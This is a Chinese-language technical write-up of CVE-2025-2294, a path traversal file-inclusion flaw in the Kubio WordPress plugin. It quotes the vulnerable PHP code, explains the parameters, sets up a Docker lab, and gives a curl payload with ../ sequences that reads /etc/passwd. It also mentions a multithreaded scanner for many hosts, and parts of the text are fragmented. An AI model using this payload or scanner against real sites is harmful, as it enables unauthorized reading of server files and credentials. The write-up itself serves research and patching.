CVE-2025-2294 是 WordPress 的 Kubio AI Page Builder 插件中的一个本地文件包含(LFI)类型的关键漏洞。该漏洞允许未经身份验证的远程攻击者传递一个特制参数,导致插件可以包含服务器上的任意文件;如果包含的是可执行的 PHP 文件,则可能导致远程代码执行(RCE)。
kubio/wp-content/plugins/kubio/cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*CWE: CWE-22 — 对受限目录的路径名限制不当(路径遍历)。
__kubio-site-edit-iframe-classic-template。wp-config.php、私钥、日志)。漏洞代码与函数 kubio_hybrid_theme_load_template() 相关,该函数访问全局数组 $_REQUEST:
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
$new_template = locate_template([$template_id]);
if ($new_template !== '') {
return $new_template;
}
}
代码功能:
Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false) — 直接从全局输入数据中取值($_REQUEST 结合了 $_GET、$_POST、$_COOKIE)。这意味着参数可被远程控制。$template_id 为真),代码调用 locate_template([$template_id])。locate_template() 是 WordPress 工具(或插件中的类似功能),用于根据传入的相对路径/名称查找模板。在正常场景中,预期会传入安全模板目录内的文件名,例如 header.php 或 template-parts/content.php。git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
docker exec -it <WORDPRESS_DOCKER_ID> bash
解压后,请访问 http://localhost:8080/wp-admin/plugins.php 并激活插件
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'

__kubio-site-edit-iframe-classic-template=<path>
该参数传递一个字符串,插件将其用作模板标识符/路径。
在漏洞代码片段中,该值从 $_REQUEST 中获取并传递给 locate_template(),未经任何规范化或限制。结果可能导致 路径遍历:如果值中插入 ../ 序列,最终路径可能超出预期的模板目录,指向文件系统上的任意文件(包括 /etc/passwd)。
正是这个参数携带了攻击的有效载荷——攻击者通过它指定目标文件。
__kubio-site-edit-iframe-preview=1
这是一个辅助标志(预览模式/iframe 编辑模式)。它将请求处理切换到读取并使用由 __kubio-site-edit-iframe-classic-template 指定的模板的代码分支。
如果没有 preview=1,插件可能不会处理 classic-template 参数或使用其他逻辑;加上 preview=1 后,启用了允许读取并返回模板的逻辑,从而使利用成为可能。
/wp-content/plugins/kubio/readme.txt 检查插件版本。

该脚本检查 /etc/passwd 的输出,由于多线程,速度比 nuclei 快数倍,并且支持同时扫描多个主机。
python3 scan.py --target http://localhost:8080
